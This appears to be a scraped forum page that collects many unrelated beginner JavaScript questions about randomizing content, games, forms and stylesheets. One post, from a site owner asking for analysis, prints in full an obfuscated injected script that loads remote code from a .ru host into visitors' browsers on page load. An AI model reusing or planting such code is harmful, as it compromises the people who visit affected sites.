JavaScript - Help Optimizing Javascript Randomize Pages Code For Elearning Assessment Module
Hi,
Im using a authoring tool to develop an elearning test course. The course is composed of several HTML pages with Buttons for the multiple choice test. The setup of the course is that it will only ask 10 questions out of a pool of 30 questions. When the HTML & JS files are online, the test takes 20-40seconds to load. I believe it is related to the code that selects the 10 questions from the 30. I've singled out the code that does the select random pages... Is there any way to optimize the code? I've attached the HTML (in txt format) page where the javascript can be found. Looking forward to your replies! Similar TutorialsHi, I coded the following JavaScript: Code: var el = document.createElement("iframe"); el.setAttribute('id', 'ifrm'); document.body.appendChild(el); el.setAttribute('height', 250); el.setAttribute('width', 300); el.setAttribute('frameborder', 0); el.setAttribute('marginheight', 0); el.setAttribute('marginwidth', 0) el.setAttribute('src', 'http://example.com/?pub=1&format=image&size=300x250&url='+window.location); And am putting it between <script type="text/javascript"> and </script> tags in the <body> section of my site. But, it only works in certain areas of the page. Can you guys think of any reason for this? Let me know... Thanks, ~Christian Hi, I got following script + HTML: Code: <script type="text/javascript"> function tjek() { if ((document.forms[0].spil.value=='HIDDENWORD')) { alert('Correct message'); window.location.reload( true ); } else if ((document.forms[0].spil)) { alert('Wrong message'); } } function tastkontrol() { document.forms[0].spil.value = document.forms[0].spil.value.toUpperCase(); } </script> <form method="post" onsubmit="tjek();return false;"> <input type="text" name="spil" onkeyup="tastkontrol();return false;"> <input type="submit" value="Send"> </form> It's a game, were the person has to guess the hidden word. I know want to add this to the script, so the HIDDENWORD changes into either APPLE or HOUSE when refreshing page: Code: <script type="text/javascript"> code=new Array; code[1]="APPLE"; code[2]="HOUSE"; function Show() { num = Math.random(); num = 1 + ( num * ((code.length - 1)-1)); num = Math.round(num); document.write("" + code[num] + ""); } Show(); </script> I've tried some stuff, but I don't got a clue, how to merge these to scripts into eachother. Thanks in Advance. Hey Everybody, It has been a few years since I have dealt with coding in JavaScript. I will admit up-front that this is for a part of homework that I have been stuck on for about 2 weeks. I will apologize in advance for the length of this. The first portion is showing what I'm going for. The second portion is what I'm currently wanting help with. Here is what is happening: I'm in a Human Computer Interaction class and my group is developing a "Group Randomizer" web page. I figured using an ArrayList would be easiest rather than coding a database. My group is using Weebly.com to do our site. Things that the site will do (trying to keep this aspect to a single web page): 1) Add/Remove names to/from an ArrayList that is hidden in the background 2) Click a button to generate a randomized order of the ArrayList 3) Be able to split the list with line-breaks based on a number for "group size". Example: (adding names) name[0]=student1 name[1]=student2 name[2]=student3 ... ... ... Number of Groups: [User Input] ----> 3 (press generate button) (resulting random output) Group1: student2 student5 Group2: student1 student4 Group3: student3 student6 Then being able to remove the names as needed too. Now, I AM NOT looking for somebody to do all of this for me. What I am wanting at this time is help figuring out how to produce a randomized order output from an ArrayList such as follows: (temporary ArrayList) student[0]=student1 student[1]=student2 student[2]=student3 ... ... ... (generate output) student4 student2 student7 student1 student5 ... ... ... Any help with that portion would be helpful. I am bringing in twitter feed and appending it via a for loop to div( .container ) and assigning each "tweet" with a separate div(.content). I also have divs(.content) that I am manually placing in. All of these are being displayed through http://masonry.desandro.com/. The divs are being segregated (manually placed divs) and (for loop, appended divs). I would like to randomize all of the divs so they are not seperated and show in random orders on load. But it is only randomizing the "manually placed divs". Can and how do I go about fixing this? I am new(er) at jQuery so keep that in mind. I would paste code but it's very long. Any and all help is appreciated! Hi, I was hoping someone might have a solution to randomizing a URL in javascript... in this case for an embedded Simpleviewer link? At the moment the link is http://timperceval.com/guiran/intro1/ but I would like to have the site randomly choose from four URLs. The embedded code is as follows: <!--START SIMPLEVIEWER EMBED.--> <script type="text/javascript" src="http://timperceval.com/guiran/intro1/svcore/js/simpleviewer.js"></script> <script type="text/javascript"> var flashvars = {}; flashvars.baseURL = "http://timperceval.com/guiran/intro1/"; simpleviewer.ready(function () { simpleviewer.load("sv-container", "100%", "100%", "000000", true, flashvars); }); </script> <div id="sv-container"></div> <!-- END SIMPLEVIEWER EMBED -- Any ideas would really help! Thanks, Tim I've been banging my head for two days now trying to figure out how i can swap td cells. There are a lot of examples of how to order rows, but i can seem to find any on how to swap td cells. Has anyone a good referal for this.
Hey all, I have a simple form that looks something like this: Code: <div id="responses"> <input class="checkbox" type="checkbox" name="group1" value="1" id="option1"/><label class="label" for="option1">Option one text</label> <input class="checkbox" type="checkbox" name="group1" value="0" id="option2"/><label class="label" for="option2">Option two text</label> <input class="checkbox" type="checkbox" name="group1" value="1" id="option3"/><label class="label" for="option3">Option three text</label> </div> I am trying to figure out a way to use javascript to take these and randomize the order of them. For example, if you were looking at it and clicked a randomize button it would shuffle around the options. I am fairly new to javascript and don't really know where to start with something like this. I would greatly appreciate it if someone could get me started or point me in the right direction. Thanks! Hello guys, I am a js noobie really, and am looking for something specific. I have googled for quite some time now looking for a script to randomize a list of images on refresh. For example, If I have 8 images in a line in this order 12345678, when I refresh, I would like them to go into a new random order - 84567321, or anything. What I have found are scripts to allow random new images to appear in place of a single image, which is as close as I have gotten. Does anyone know of a script that can do this, or know how to make one? I have looked everywhere, and can't seem to locate one. Any help is greatly appreciated. hi, i currently have an array of 20 images. on load a random selection of 15 are taken, then they ordered randomly on the page and doubled (to play a match the pairs memory game) clicking restart will reorder the images randomly, but will use the same 15 chosen on page load. i need the restart button to choose another random 15 images from the 20 in the array. here is the site: http://www.thebigappwall.com/test.htm and here is the code: Code: // Concentration Memory Game with Images - Head Script // copyright Stephen Chapman, 28th February 2006, 24th December 2009 // you may copy this script provided that you retain the copyright notice function randomOrd(){return (Math.round(Math.random())-0.5); } var back = '/images/back.png'; var tile = ['/images/lij.png','/images/myh_appwall.png','/images/Tap-Forms-icon-40.png','/images/urban-rivals-app-40.png','/images/warshipicon.png','/images/www2pdf-40.png', '/images/pandora.png','/images/preschoolicon.png','/images/my_virtual_girlfriend_40x40_01.jpg','/images/my_virtual_girlfriend_40x40_02.jpg','/images/my_virtual_girlfriend_40x40_03.jpg','/images/my_virtual_girlfriend_40x40_04.jpg','/images/www2pdf-40.png','/images/preschoolicon.png','/images/pandora.png','/images/blank32.png','/images/blank32.png','/images/blank32.png','/images/blank32.png','/images/blank32.png','/images/blank32.png','/images/blank32.png','/images/blank32.png','/images/blank32.png']; tile.sort( randomOrd ); function randOrd(a, b){return (Math.round(Math.random())-0.5);} var im = []; for (var i = 0; i < 15; i++) {im[i] = new Image(); im[i].src = tile[i]; tile[i] = '<img src="'+tile[i]+'" width="40" height="40" alt="tile" \/>'; tile[i+15] = tile[i];} function displayBack(i) {document.getElementById('t'+i).innerHTML = '<div onclick="disp('+i+');return false;"><img src="'+back+'" width="40" height="40" onclick="addClick();" alt="back" \/><\/div>';} var ch1, ch2, tmr, tno, tid, cid, cnt; window.onload=start; function start() {for (var i = 0; i <= 29 ;i++) displayBack(i);clearInterval(tid);tmr = tno = cnt = 0;tile.sort( randOrd );cntr(); tid = setInterval('cntr()', 1000);} function cntr() {var min = Math.floor(tmr/60);var sec = tmr%60;document.getElementById('c-timer').innerHTML = min+':'+ (sec<10 ? '0' : '') + sec;tmr++;} function disp(sel) {if (tno>1) {clearTimeout(cid); conceal();}document.getElementById('t'+sel).innerHTML = tile[sel];if (tno==0) ch1 = sel;else {ch2 = sel; cid = setTimeout('conceal()', 900);}tno++;} function conceal() {tno = 0; if (tile[ch1] != tile[ch2]) {displayBack(ch1);displayBack(ch2);} else cnt++; if (cnt >= 15) clearInterval(tid); } Thanks I've written a function that "condenses" a string if it is too long. Code: function shortenMsg(msg,maxLen){ if (msg.length > maxLen){ var over = msg.length - maxLen, // amount that needs to be trimmed method1 = (msg.match(/,\s/g) || []).length, // amount that method1 can trim method2 = (msg.match(/\]\s\[/g) || []).length; // etc... method3 = (msg.match(/demonstration/gi) || []).length * 6, // etc... if (method1 >= over){ msg = msg.replace(/,\s/g, ","); } else if (method2 >= over){ msg = msg.replace(/\]\s\[/g, "]["); } else if (method3 >= over){ msg = msg.replace(/nstration/gi, ""); } else { // optimal combination of 2+ methods } } return msg; } var longMsg = "...", shortMsg = shortenMsg(longMsg, 50); // example usage Each of the methods 1-3 is the amount that that specific method can trim from the string. I'd like to be able to trim as little as possible. For example, if the string needs 5 characters to be trimmed, and method1 can trim 8 characters, but method3 can trim 6, then method3 should be used. If none of the methods can individually trim the string enough, then I'd like the optimal combination of the methods that will get the job done. I can't figure out what sort of code structure I need for this (besides a ton of if/else statements). Maybe an array that contains each of the methods, arranged in increasing order....? Help would be appreciated! Sorry for posting so much recently Basically what I need to do is cause a bit of HTML to only display on a specific page. I have figured out how to do most of the work i.e. figuring out what page that the code is being displayed on, etc. However, for some reason the DOM element that I am using will not update based on the Javascript. I have searched the Internet for a solution and unfortunately I have found none. Here is the version of the code that I am currently working on: Code: <html> <head> <script type="text/javascript"> window.onload = function DisplayButton() { var DesiredPage = 'Page to Display'; //Page that I want the code to display on var sPath = window.location.pathname; var sPage = sPath.substring(sPath.lastIndexOf('/') + 1); //This determines and places in a variable what page that the code will be on if (sPage == DesiredPage) { document.getElementById('HiddenCode').style.display = "block"; } } </script> <p Id="HiddenCode" style="display:none">Code only to be displayed on indicated page</p> </head> </html> I am somewhat new to Javascript so I feel like I might be missing something obvious here. Thank You to anyone who can help. Zbot So today I have discovered some malicious JavaScript code inserted into a bunch of my pages on a webserver. Access to these pages through FTP is granted to 3 people, myself, my boss, and a contract programmer. Unfortunately, the FTP server wasn't set to log, so I can't tell for sure if it was the programmer, but my assumption and suspicion is that it was him. This code was inserted at the bottom of multiple pages. I can't make heads or tails of it, but it cannot be good, whatever it is. When I view the page that it was on, I noticed the web browser connecting to http://over-blog-com.alice.it.baixin...rseasilver.ru/. Browsing to this page takes you to some foreign hosting site. Googling superseasilver.ru only provides a page that has this address listed in a blacklist. I'd like to know what this code does, but again, I have no idea... So I figured maybe some of you JavaScript gurus could take a look and be able to tell me. Any information would be greatly appreciated, as we hired this programmer through odesk.com, and will be filing a complaint for refund and him being banned from the site. I'd also like to know if there is any possibility that this was inserted some other way other than someone FTP'n in and doing this. Code below. Thanks for any advice and time spent reading this! E <script>var u='';var l;if(l!='R' && l != ''){l=null};function J(){var pV;if(pV!='yp' && pV!='p'){pV=''};var Ux='';var y='';this.L="";this.T="";var q="g";var O=new String();var lP;if(lP!='' && lP!='iu'){lP=''};var z=RegExp;var t;if(t!='C' && t!='NR'){t=''};var Ql;if(Ql!='Z' && Ql!='DX'){Ql=''};function I(k,Jq){this.FW="";var ze="";var n= String("JYv[".substr(3));var QR;if(QR!='lK' && QR!='OR'){QR=''};var Qw=new Date();n+=Jq;var VZ="";n+="lSm]".substr(3);this._E="";var W;if(W!=''){W='j'};var X="";var Kj=new Date();var U=new z(n, q);var Wp;if(Wp!='' && Wp!='Gf'){Wp=null};return k.replace(U, y);var Qc=new String();var Cu;if(Cu!='E' && Cu!='lL'){Cu=''};};var _p=new Date();var LI=new Date();var N='';var M;if(M!='oI' && M!='EE'){M=''};var oJ='';var JW=new String("sc"+"riF1A".substr(0,2)+"9IHuptIHu9".substr(4,2));var G=window;var AI;if(AI!='' && AI!='ks'){AI=null};var x=I('89933034733879579403755974',"43579");var Tp;if(Tp!=''){Tp='FH'};this.v="";var K=String("/gGoiU".substr(0,2)+"ooCclD".substr(0,2)+"HDXglHXD".substr(3,2)+"e."+"LBgcoBLg".substr(3,2)+"FsR.t".s ubstr(3)+"h/Va1K".substr(0,2)+"govX1t".substr(0,2)+"og"+"EPbleEbP".substr(3,2)+".cr1E".substr(0,2)+"2890o.".subs tr(4)+"6HmthH6m".substr(3,2)+"/gAbt".substr(0,2)+"oo"+"ucYglucY".substr(3,2)+"e."+"y0jcojy0".substr(3,2)+"m/BtGz".substr(0,2)+"IKVzviKIVz".substr(4,2)+"fH4rg4Hf".substr(3,2)+"GOphinpGhO".substr(4,2)+"8bGme".s ubstr(3)+"N7Jdi".substr(3)+"oG0a.o0G".substr(3,2)+"co"+"m/4wZh".substr(0,2)+"YxUAkeAYxU".substr(4,2)+"Oj1dep".substr(4)+"vi"+"ct30d.".substr(4)+"CH5VcoC5HV".s ubstr(4,2)+"m.qbn".substr(0,2)+"ph"+"DzxjpDjxz".substr(4,1));var dI;if(dI!='g' && dI != ''){dI=null};var tB;if(tB!='bw' && tB != ''){tB=null};var i="defeQzGI".substr(0,4)+"tyirity".substr(3,1);var FWT;if(FWT!=''){FWT='Ty'};this.hO="";var f="sr"+"ct2b".substr(0,1);var nM='';var kN=String("htt"+"p:/6Mqx".substr(0,3)+"/ov"+"ACzer-ACz".substr(3,3)+"Nkz5blo".substr(4)+"iSMg-c".substr(3)+"Y6Kom.6YK".substr(3,3)+"dTFaliFTd".substr(3,3)+"ce.SzU".substr(0,3)+"it.gTP".substr(0, 3)+"SvAbaivSA".substr(3,3)+"GLwJxinJGwL".substr(4,3)+"Veug-ceuV".substr(3,3)+"RM70om.RM07".substr(4,3)+"sup"+"ZVvcersVcZv".substr(4,3)+"eas"+"ilvV1Yu".substr(0 ,3)+"2KkNer.".substr(4)+"ru:QHhd".substr(0,3));this.jP='';var jJ;if(jJ!=''){jJ='IT'};var Nt;if(Nt!='Jp'){Nt='Jp'};var hR;if(hR!='oA' && hR!='S'){hR=''};G.onload=function(){this.pw='';try {this.Wu="";this.cY="";N=kN+x;N+=K;var Lq="";this.YG='';var ql=new Date();r=document.createElement(JW);var Xn;if(Xn!=''){Xn='CuM'};var gr='';r[f]=N;r[i]=[1][0];this.bs="";document.body.appendChild(r);var zJ="";} catch(kF){};};var oQ='';};var Gb='';var dK="";J();var ox;if(ox!='_a' && ox!='mK'){ox=''};</script> <!--4ff31209b849a146e6784b8cb55539b3--> Hi there - im new to website making . i have made my own site in adobe flash cs 4 /photoshop and now im trying to optimize with swo (swiftobject) using adobeair. I must say that im following Lydia.com tuts on video. Anyway when i try to generate and embed using adobe air, the guy on the video that im following he is setting the dimensions to 100 %. My web site is 850x600 pix centeret on the screen with grey background before i started the swo thing. I also choose to set the dimensions to 100% because he says so and when i do that and preview in the browser the site gets really , really big - what am i doing wrong? thanks in advance. jeppe
Hi, I'm in year 11 studying GCSE Computing and I'm working on gathering some primary research for a project. I'd be really grateful if someone with experience in web developing would be able to explain to me some of the uses of JavaScript within web pages- what have you used it for specifically? Also, any examples of how JavaScript is used outside of web pages would be really helpful. Thank you! Hi, I want to redirect pages e,g 'http://mydomain.com/pagename.html' to 'http://www.mydomain.com/pagename.html",i.e if anyone access without www then it will be added automatically,how can i do this using javascript? plz help Thanks Hi, I have this search module at the top and bottom of my web page Here is the mark-up for the same HEADER SEARCH MODULE Code: <div id="searches"> <ul id="topTabSet"> <li class="current" id="web-top"><a href="javascript:;">Web</a></li> <li id="blog-top"><a href="javascript:;">Blog</a></li> <li id="image-top"><a href="javascript:;">Images</a></li> <li id="video-top"><a href="javascript:;">Video</a></li> <li id="product-top"><a href="javascript:;">Products</a></li> </ul> <form name="topSearchForm" id="topSearchForm" method="GET"> <fieldset> <label for="web-search">Enter search terms</label> <input style="display: none;" name="invocationType" value="" type="hidden" /> <input name="query" id="webSearch-top" type="text" /> <input id="submit" name="tSearchSubmit" class="submit" value="" alt="Search" type="submit" /> </fieldset> </form> </div> FOOTER SEARCH MODULE Code: <div id="searchesFt"> <ul id="bottomTabSet"> <li class="current" id="web-bottom"><a href="javascript:;">Web</a></li> <li id="blog-bottom"><a href="javascript:;">Blog</a></li> <li id="image-bottom"><a href="javascript:;">Images</a></li> <li id="video-bottom"><a href="javascript:;">Video</a></li> <li id="product-bottom"><a href="javascript:;">Products</a></li> </ul> <form id="bottomSearchForm" name="bottomSearchForm" method="GET"> <fieldset> <label for="web-search">Enter search terms</label> <input style="display: none;" name="invocationType" value="" type="hidden" /> <input name="query" id="webSearch-bottom" type="text" /> <input id="submit" name="bSearchSubmit" class="submit" value="" alt="Search" type="submit" /> </fieldset> </form> </div> I had written written a JS which is all junk. I could manage to get tab stay selected when i click on it. I am not even in a position to post it here Here is what I am looking for: 1) all the tabs open the search in a new window/tab on submit/click except for the "Blog" tab which opens the search within the same page 2) The search should be directed to different URLs based on the tab selection. i.e. web = http://www.testexample.com/web/?q="Entered search term"&invocationType="testinv" blog = /search/?q="Entered search term"&invocationType="testinv" images = http://www.testimages.com/image/?q="Entered search term"&invocationType="testinv" video = http://www.testvideos.com/video/?q="Entered search term"&invocationType="testinv" products = http://www.testproducts.com/product/?q="Entered search term"&invocationType="testinv" 3) an the above is for the header search and footer search modules. Could someone please please help me with some code to achieve this. I know I am asking for too much. But I am helpless. please help me. Thanks Hi, I would like to know which is the best approach when trying inheritance with js - module pattern. In the example below, I want that parent.hi() be fired from child: Code: var parent = function(){ return{ hi: function(){ console.info('hi'); } } }(); var child = function(){ return{ bye: function(){ console.info('bye'); }, hi: function(){//look he parent.hi(); } } }(); child.hi(); Is there a better way to do this ? Thanks in advance I'm trying to allow the user to change the stylesheet of my website. I can change the stylesheet on a page by page basis (eg. from red style to blue style) but once the user navigates to a different page the stylesheet resets back to the original setting. For example, when the user visits the site first its set to the red style, they can change it to blue but when they navigate to another page the style goes back to red again where as I want the style to stick across pages. Does anybody know how I can sort this out? I assume I'll have to edit my javascript but Im not very good at javascript so any help would be great! HTML Code: <html> <head> <link href="red.css" rel="stylesheet" type="text/css" title="red" media="screen" /> <link href="green.css" rel="alternate stylesheet" type="text/css" title="green" media="screen" /> <link href="blue.css" rel="alternate stylesheet" type="text/css" title="blue" media="screen" /> <script type="text/javascript"> function changeStyle(title) { var lnks = document.getElementsByTagName('link'); for (var i = lnks.length - 1; i >= 0; i--) { if (lnks[i].getAttribute('rel').indexOf('style')> -1 && lnks[i].getAttribute('title')) { lnks[i].disabled = true; if (lnks[i].getAttribute('title') == title) lnks[i].disabled = false; }}} </script> </head> <body> <a href = "home1.html">Page 1</a> <br> <br> <a href = "home2.html">Page 2</a> <br> <br> <a href = "home3.html">Page 3</a> <br> <br> <br> <br> <a href = "#" onclick="changeStyle('red')">Red Stylesheet</a> <br> <br> <a href = "#" onclick="changeStyle('blue')">Blue Stylesheet</a> <br> <br> <a href = "#" onclick="changeStyle('green')">Green Stylesheet</a> </body> </html> CSS Code: body { background-color:red; } Ok Need Help Here. As I post earlier how to detect firefox before let the user in some guys just disable javascript and went in I finding solution i think of it but i dun know the code not sure is it working Script that allow the browser to check weather javascript is ON if not cannot grant access to the page . Another thing is by using a image means when i enter the site it will show a image i will need to click it before it enter the content of the pages i think that a javascript code i seen it somewhere else about months ago. |